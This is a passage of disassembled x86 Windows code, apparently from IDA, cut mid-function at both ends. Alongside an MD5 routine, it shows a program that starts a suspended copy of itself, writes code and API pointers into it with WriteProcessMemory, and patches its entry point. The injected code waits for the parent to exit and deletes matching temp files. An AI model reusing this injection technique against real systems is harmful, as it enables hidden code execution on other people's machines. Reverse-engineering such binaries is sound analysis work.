loc_497FE0:				; CODE XREF: sub_4971E1+DF2j
		mov	eax, [ebp+var_D4]
		inc	eax
		mov	[ebp+var_D4], eax

loc_497FED:				; CODE XREF: sub_4971E1+DFDj
		push	14h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_D4]
		mov	[eax], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, ds:dword_4A296C
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_EC]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_D8]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [ebp+var_DC]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_F0]
		mov	ds:dword_4A296C, eax

loc_49805C:				; CODE XREF: sub_4971E1+D50j
		call	sub_49714D
		push	0FFFFFFFFh
		mov	eax, [ebp+var_D0]
		mov	[ebp+var_148], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_148]
		jmp	loc_498132
; END OF FUNCTION CHUNK	FOR sub_4971E1

; =============== S U B	R O U T	I N E =======================================



sub_498085	proc near		; DATA XREF: _5:0049F4C8o
		cmp	ds:dword_4A2964, 0
		jz	short loc_498096
		mov	eax, [ebp-44h]
		mov	ds:dword_4A2964, eax

loc_498096:				; CODE XREF: sub_498085+7j
		cmp	dword ptr [ebp-3Ch], 0FFFFFFFFh
		jz	short loc_4980A6
		push	0
		push	dword ptr [ebp-3Ch]
		call	sub_491741

loc_4980A6:				; CODE XREF: sub_498085+15j
		mov	eax, [ebp-50h]
		mov	[ebp-110h], eax
		push	dword ptr [ebp-110h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-4Ch]
		mov	[ebp-114h], eax
		push	dword ptr [ebp-114h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-118h], eax
		push	dword ptr [ebp-118h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-2Ch]
		mov	[ebp-11Ch], eax
		push	dword ptr [ebp-11Ch]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-54h]
		mov	[ebp-120h], eax
		push	dword ptr [ebp-120h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-28h]
		mov	[ebp-124h], eax
		push	dword ptr [ebp-124h]
		call	sub_4993DD
		pop	ecx
		push	offset dword_4A2930
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		retn
sub_498085	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4971E1

loc_498132:				; CODE XREF: sub_4971E1+C3j
					; sub_4971E1+145j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4971E1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498141	proc near		; CODE XREF: sub_49BA24+15p
					; sub_49BA5E+43p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A294C
		call	sub_49C871
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4981BD
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		jbe	short loc_498199
		mov	ecx, [ebp+var_8]
		inc	ecx
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_4981B8
; ---------------------------------------------------------------------------

loc_498199:				; CODE XREF: sub_498141+34j
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx

loc_4981B8:				; CODE XREF: sub_498141+56j
		push	1
		pop	eax
		jmp	short loc_4981BF
; ---------------------------------------------------------------------------

loc_4981BD:				; CODE XREF: sub_498141+1Cj
		xor	eax, eax

loc_4981BF:				; CODE XREF: sub_498141+7Aj
		pop	edi
		pop	esi
		leave
		retn
sub_498141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4981C3	proc near		; CODE XREF: sub_49B0C8+42p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F4E8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_78], 0
		and	[ebp+var_74], 0
		and	[ebp+var_70], 0
		xor	eax, eax
		lea	edi, [ebp+var_6C]
		stosd
		and	[ebp+var_60], 0
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_5C]
		rep stosd
		call	ds:dword_4A26E4	; GetCurrentProcess
		mov	[ebp+var_68], eax
		mov	[ebp+var_64], offset dword_48E720
		and	[ebp+var_1C], 0
		cmp	ds:dword_4A2958, 0
		jz	loc_498324
		and	[ebp+var_4], 0
		push	105h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_8C], eax
		mov	eax, [ebp+var_8C]
		mov	[ebp+var_78], eax
		push	50h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_90]
		mov	[ebp+var_74], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_78]
		rep stosd
		stosb
		push	104h
		push	[ebp+var_78]
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		push	eax
		call	ds:dword_4A2714	; GetModuleFileNameA
		mov	[ebp+var_60], 44h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	0
		push	0
		push	4
		push	1
		push	0
		push	0
		push	0
		push	[ebp+var_78]
		call	ds:dword_4A26B8	; CreateProcessA
		test	eax, eax
		jnz	short loc_4982BD
		mov	ecx, 0EF000015h
		call	sub_499342

loc_4982BD:				; CODE XREF: sub_4981C3+EEj
		call	ds:dword_4A26E8	; GetCurrentProcessId
		push	eax
		push	[ebp+var_88]
		call	sub_498494
		pop	ecx
		pop	ecx
		push	[ebp+var_84]
		call	ds:dword_49F024	; ResumeThread
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_498324
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0EF000015h
		jnz	short loc_498308
		mov	[ebp+var_98], 1
		jmp	short loc_498316
; ---------------------------------------------------------------------------

loc_498308:				; CODE XREF: sub_4981C3+137j
		push	[ebp+var_14]
		call	sub_499C27
		mov	[ebp+var_98], eax

loc_498316:				; CODE XREF: sub_4981C3+143j
		mov	eax, [ebp+var_98]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_498324:				; CODE XREF: sub_4981C3+66j
					; sub_4981C3+11Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4981C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498333	proc near		; CODE XREF: sub_498482+Bp
					; DATA XREF: sub_498482+6o ...

var_24C		= byte ptr -24Ch
var_220		= byte ptr -220h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	edi
		and	[ebp+var_108], 0
		push	ds:dword_4A2920
		push	0
		push	1F0FFFh
		call	ds:dword_4A2994
		mov	ds:dword_4A2948, eax
		cmp	ds:dword_4A2948, 0
		jz	short loc_4983A4

loc_498365:				; CODE XREF: sub_498333+63j
		lea	eax, [ebp+var_108]
		push	eax
		push	ds:dword_4A2948
		call	ds:dword_4A2988
		test	eax, eax
		jz	short loc_498398
		cmp	[ebp+var_108], 103h
		jnz	short loc_498398
		push	0FFFFFFFFh
		push	ds:dword_4A2948
		call	ds:dword_4A298C
		jmp	short loc_498365
; ---------------------------------------------------------------------------

loc_498398:				; CODE XREF: sub_498333+47j
					; sub_498333+53j
		push	ds:dword_4A2948
		call	ds:dword_4A299C

loc_4983A4:				; CODE XREF: sub_498333+30j
		or	[ebp+var_10C], 0FFFFFFFFh
		and	[ebp+var_104], 0
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4A2970
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4A2974
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4A2978
		push	64h
		call	ds:dword_4A2998

loc_4983FB:				; CODE XREF: sub_498333+124j
		lea	eax, [ebp+var_24C]
		push	eax
		push	offset dword_4A29A0
		call	ds:dword_4A297C
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_498459
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4A2980
		test	eax, eax
		jnz	short loc_49844B
		push	1F4h
		call	ds:dword_4A2998
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4A2980
		test	eax, eax
		jnz	short loc_49844B
		jmp	short loc_498478
; ---------------------------------------------------------------------------

loc_49844B:				; CODE XREF: sub_498333+F8j
					; sub_498333+114j
		push	[ebp+var_10C]
		call	ds:dword_4A2984
		jmp	short loc_4983FB
; ---------------------------------------------------------------------------

loc_498459:				; CODE XREF: sub_498333+E7j
					; sub_498333:loc_498478j
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_49846E
		push	[ebp+var_10C]
		call	ds:dword_4A2984

loc_49846E:				; CODE XREF: sub_498333+12Dj
		push	0
		call	ds:dword_4A2990
		jmp	short loc_49847A
; ---------------------------------------------------------------------------

loc_498478:				; CODE XREF: sub_498333+116j
		jmp	short loc_498459
; ---------------------------------------------------------------------------

loc_49847A:				; CODE XREF: sub_498333+143j
		pop	edi
		leave
		retn
sub_498333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49847D	proc near		; DATA XREF: sub_498494+2B6o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_49847D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498482	proc near		; DATA XREF: sub_498494+2EFo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, offset sub_498333
		call	eax ; sub_498333
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_498482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_498494	proc near		; CODE XREF: sub_4981C3+107p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+arg_4]
		mov	ds:dword_4A2920, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2920
		push	offset dword_4A2920
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		push	20h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_4A29A0
		rep stosd
		call	ds:dword_4A26E8	; GetCurrentProcessId
		push	eax
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		push	offset dword_4A29A0
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		push	80h
		push	offset dword_4A29A0
		push	offset dword_4A29A0
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		mov	esi, offset aKernel32_dll ; "kernel32.dll"
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsb
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGettemppatha ; "GetTempPathA"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2970, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2970
		push	offset dword_4A2970
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetcurrentdire ; "SetCurrentDirectoryA"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2974, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2974
		push	offset dword_4A2974
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetcurrentdire ; "GetCurrentDirectoryA"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2978, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2978
		push	offset dword_4A2978
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A297C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A297C
		push	offset dword_4A297C
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aDeletefilea ; "DeleteFileA"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2980, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2980
		push	offset dword_4A2980
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindclose ; "FindClose"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2984, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2984
		push	offset dword_4A2984
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2988, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2988
		push	offset dword_4A2988
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A298C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A298C
		push	offset dword_4A298C
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aExitprocess ; "ExitProcess"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2990, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2990
		push	offset dword_4A2990
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aOpenprocess ; "OpenProcess"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2994, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2994
		push	offset dword_4A2994
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSleep	; "Sleep"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A2998, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A2998
		push	offset dword_4A2998
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aClosehandle ; "CloseHandle"
		call	sub_49AD79
		pop	ecx
		pop	ecx
		mov	ds:dword_4A299C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4A299C
		push	offset dword_4A299C
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		mov	eax, offset sub_49847D
		sub	eax, offset sub_498333
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_1C]
		push	offset sub_498333
		push	offset sub_498333
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+28h]
		mov	[ebp+var_18], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	20h
		push	offset sub_498482
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_49F028	; WriteProcessMemory
		pop	edi
		pop	esi
		leave
		retn
sub_498494	endp


; =============== S U B	R O U T	I N E =======================================



sub_498798	proc near		; CODE XREF: _4:0048FECCp
					; sub_494610+209p
		push	esi
		mov	esi, ecx
		call	sub_4989B1
		mov	eax, esi
		pop	esi
		retn
sub_498798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4987A4	proc near		; CODE XREF: sub_494610+21Dp
					; sub_49885D+112p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+68h], 0
		jnz	loc_498858
		mov	edx, [ebx+10h]
		mov	ecx, [ebp+arg_4]
		push	esi
		mov	eax, edx
		mov	esi, ecx
		lea	edx, [edx+ecx*8]
		shr	eax, 3
		shl	esi, 3
		and	eax, 3Fh
		cmp	edx, esi
		push	edi
		mov	[ebx+10h], edx
		jnb	short loc_4987D7
		inc	dword ptr [ebx+14h]

loc_4987D7:				; CODE XREF: sub_4987A4+2Ej
		mov	edx, ecx
		push	40h
		shr	edx, 1Dh
		add	[ebx+14h], edx
		pop	edx
		sub	edx, eax
		cmp	ecx, edx
		mov	[ebp+var_4], edx
		jb	short loc_49883B
		mov	esi, [ebp+arg_0]
		mov	ecx, edx
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+18h]
		and	ecx, 3
		push	eax
		rep movsb
		mov	ecx, ebx
		call	sub_4989D8
		mov	esi, [ebp+var_4]
		lea	eax, [esi+3Fh]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_498834
		mov	edi, eax

loc_49881A:				; CODE XREF: sub_4987A4+8Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		lea	eax, [eax+edi-3Fh]
		push	eax
		call	sub_4989D8
		add	edi, 40h
		add	esi, 40h
		cmp	edi, [ebp+arg_4]
		jb	short loc_49881A

loc_498834:				; CODE XREF: sub_4987A4+72j
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		jmp	short loc_49883D
; ---------------------------------------------------------------------------

loc_49883B:				; CODE XREF: sub_4987A4+45j
		xor	esi, esi

loc_49883D:				; CODE XREF: sub_4987A4+95j
		mov	edx, [ebp+arg_0]
		sub	ecx, esi
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		add	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi

loc_498858:				; CODE XREF: sub_4987A4+Bj
		pop	ebx
		leave
		retn	8
sub_4987A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49885D	proc near		; CODE XREF: sub_494610+22Fp

var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], esi
		cmp	[esi+68h], bl
		mov	[ebp+var_4C], 80h
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], bl
		mov	[ebp+var_48], bl
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], bl
		mov	[ebp+var_44], bl
		mov	[ebp+var_43], bl
		mov	[ebp+var_42], bl
		mov	[ebp+var_41], bl
		mov	[ebp+var_40], bl
		mov	[ebp+var_3F], bl
		mov	[ebp+var_3E], bl
		mov	[ebp+var_3D], bl
		mov	[ebp+var_3C], bl
		mov	[ebp+var_3B], bl
		mov	[ebp+var_3A], bl
		mov	[ebp+var_39], bl
		mov	[ebp+var_38], bl
		mov	[ebp+var_37], bl
		mov	[ebp+var_36], bl
		mov	[ebp+var_35], bl
		mov	[ebp+var_34], bl
		mov	[ebp+var_33], bl
		mov	[ebp+var_32], bl
		mov	[ebp+var_31], bl
		mov	[ebp+var_30], bl
		mov	[ebp+var_2F], bl
		mov	[ebp+var_2E], bl
		mov	[ebp+var_2D], bl
		mov	[ebp+var_2C], bl
		mov	[ebp+var_2B], bl
		mov	[ebp+var_2A], bl
		mov	[ebp+var_29], bl
		mov	[ebp+var_28], bl
		mov	[ebp+var_27], bl
		mov	[ebp+var_26], bl
		mov	[ebp+var_25], bl
		mov	[ebp+var_24], bl
		mov	[ebp+var_23], bl
		mov	[ebp+var_22], bl
		mov	[ebp+var_21], bl
		mov	[ebp+var_20], bl
		mov	[ebp+var_1F], bl
		mov	[ebp+var_1E], bl
		mov	[ebp+var_1D], bl
		mov	[ebp+var_1C], bl
		mov	[ebp+var_1B], bl
		mov	[ebp+var_1A], bl
		mov	[ebp+var_19], bl
		mov	[ebp+var_18], bl
		mov	[ebp+var_17], bl
		mov	[ebp+var_16], bl
		mov	[ebp+var_15], bl
		mov	[ebp+var_14], bl
		mov	[ebp+var_13], bl
		mov	[ebp+var_12], bl
		mov	[ebp+var_11], bl
		mov	[ebp+var_10], bl
		mov	[ebp+var_F], bl
		mov	[ebp+var_E], bl
		mov	[ebp+var_D], bl
		jz	short loc_498943
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jz	short loc_4989AA
		add	esi, 58h
		movsd
		movsd
		movsd
		movsd
		jmp	short loc_4989AA
; ---------------------------------------------------------------------------

loc_498943:				; CODE XREF: sub_49885D+D4j
		lea	edi, [esi+10h]
		push	8
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_4992B3
		mov	eax, [edi]
		push	38h
		shr	eax, 3
		and	eax, 3Fh
		pop	ecx
		cmp	eax, ecx
		jb	short loc_498966
		push	78h
		pop	ecx

loc_498966:				; CODE XREF: sub_49885D+104j
		sub	ecx, eax
		lea	eax, [ebp+var_4C]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4987A4
		lea	eax, [ebp+var_C]
		push	8
		push	eax
		mov	ecx, esi
		call	sub_4987A4
		lea	edi, [esi+58h]
		push	10h
		push	esi
		push	edi
		mov	ecx, esi
		call	sub_4992B3
		cmp	[ebp+arg_0], ebx
		jz	short loc_4989A0
		mov	esi, edi
		mov	edi, [ebp+arg_0]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+var_4]

loc_4989A0:				; CODE XREF: sub_49885D+135j
		xor	eax, eax
		lea	edi, [esi+18h]
		stosb
		mov	byte ptr [esi+68h], 1

loc_4989AA:				; CODE XREF: sub_49885D+DBj
					; sub_49885D+E4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_49885D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4989B1	proc near		; CODE XREF: sub_498798+3p
		xor	eax, eax
		mov	dword ptr [ecx], 67452301h
		mov	[ecx+68h], al
		mov	[ecx+10h], eax
		mov	[ecx+14h], eax
		mov	dword ptr [ecx+4], 0EFCDAB89h
		mov	dword ptr [ecx+8], 98BADCFEh
		mov	dword ptr [ecx+0Ch], 10325476h
		retn
sub_4989B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4989D8	proc near		; CODE XREF: sub_4987A4+64p
					; sub_4987A4+80p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		push	40h
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	[ebp+var_8], eax
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_4992FA
		mov	edi, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	eax, edi
		mov	ecx, ebx
		not	eax
		and	eax, [ebp+var_10]
		and	ecx, edi
		mov	edx, edi
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		add	eax, [ebp+var_50]
		lea	ecx, [ecx+eax-28955B88h]
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [ebp+var_10]
		add	ecx, [ebp+var_4C]
